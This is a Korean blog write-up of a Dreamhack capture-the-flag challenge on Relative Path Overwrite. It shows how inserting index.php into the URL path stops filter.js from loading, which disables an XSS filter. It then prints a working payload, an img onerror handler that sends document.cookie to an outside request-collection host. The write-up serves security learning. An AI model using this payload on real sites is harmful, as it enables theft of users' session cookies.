TeamH4C

[빡공팟 5기] W7 : Relative Path Overwrite Write-up

이유갬 2022. 11. 6. 23:54

[ 문제 풀이 ]

- 초기 화면입니다.

- 총 3개의 메뉴가 있고 순서대로 들어가보겠습니다.

- vuln page 페이지이며 파라미터에 dreamhack 입력값이 주어져있습니다.

- 파라미터의 값을 변경시켜보았고 태그를 삽입해보았습니다. nope !! 이라고 뜬 걸 보니 필터링 기능이 있는 듯 합니다.

- 역시나 확인해보니 filter.js 가 존재하는 것을 볼 수 있습니다.

- 여기서 주목해야 할 코드는 바로 아래와 같습니다.

 var param_elem = document.getElementById("param");
    var url = new URL(window.location.href);
    var param = url.searchParams.get("param");
    if (typeof filter !== 'undefined') {
        for (var i = 0; i < filter.length; i++) {
            if (param.toLowerCase().includes(filter[i])) {
                param = "nope !!";
                break;
            }
        }
    }

    param_elem.innerHTML = param;

- filter 의 typeof 가 'undefined' 가 아니면 필터링 기능이 실행되는 겁니다.

- 그렇다면 filter 의 typeof 를 'undefined' 로 만드면 되는걸까? 생각을 하면서 계속 나아갑니다.

- report 페이지입니다. 여기서 경로를 이용하여 링크를 삽입하는 걸 겁니다.

- 이제 다시 Vuln page 로 이동하여 filter.js 가 어떻게 해야 제대로 작동되지 않을까 생각해봅니다.

- 경로에 index.php 를 삽입하였더니 filter.js 가 제대로 작동되지 않는 모습입니다.

- 왜냐하면 원래는 host3.dreamhack.games:11495/vuln 페이지로 바로갔지만 index 를 거치면서 vuln 페이지는 원래 페이지가 로드가 되었지만 filter.js 는 vuln 과 같은 경로에 있는 파일이였는데 index.php/filter.js 되었으므로 제대로 로딩되지 않은 것입니다.

- 이제 필터링이 제대로 동작되지 않으니 xss 를 시도할 수 있습니다.

index.php/?page=vuln&param=<img src=@ onerror=location.href="https://ggpopkn.request.dreamhack.games/"%2bdocument.cookie>

- 위와 같은 페이로드를 작성하여 report 페이지에 제출합니다.

- 그리고 이렇게 플래그를 획득할 수 있습니다!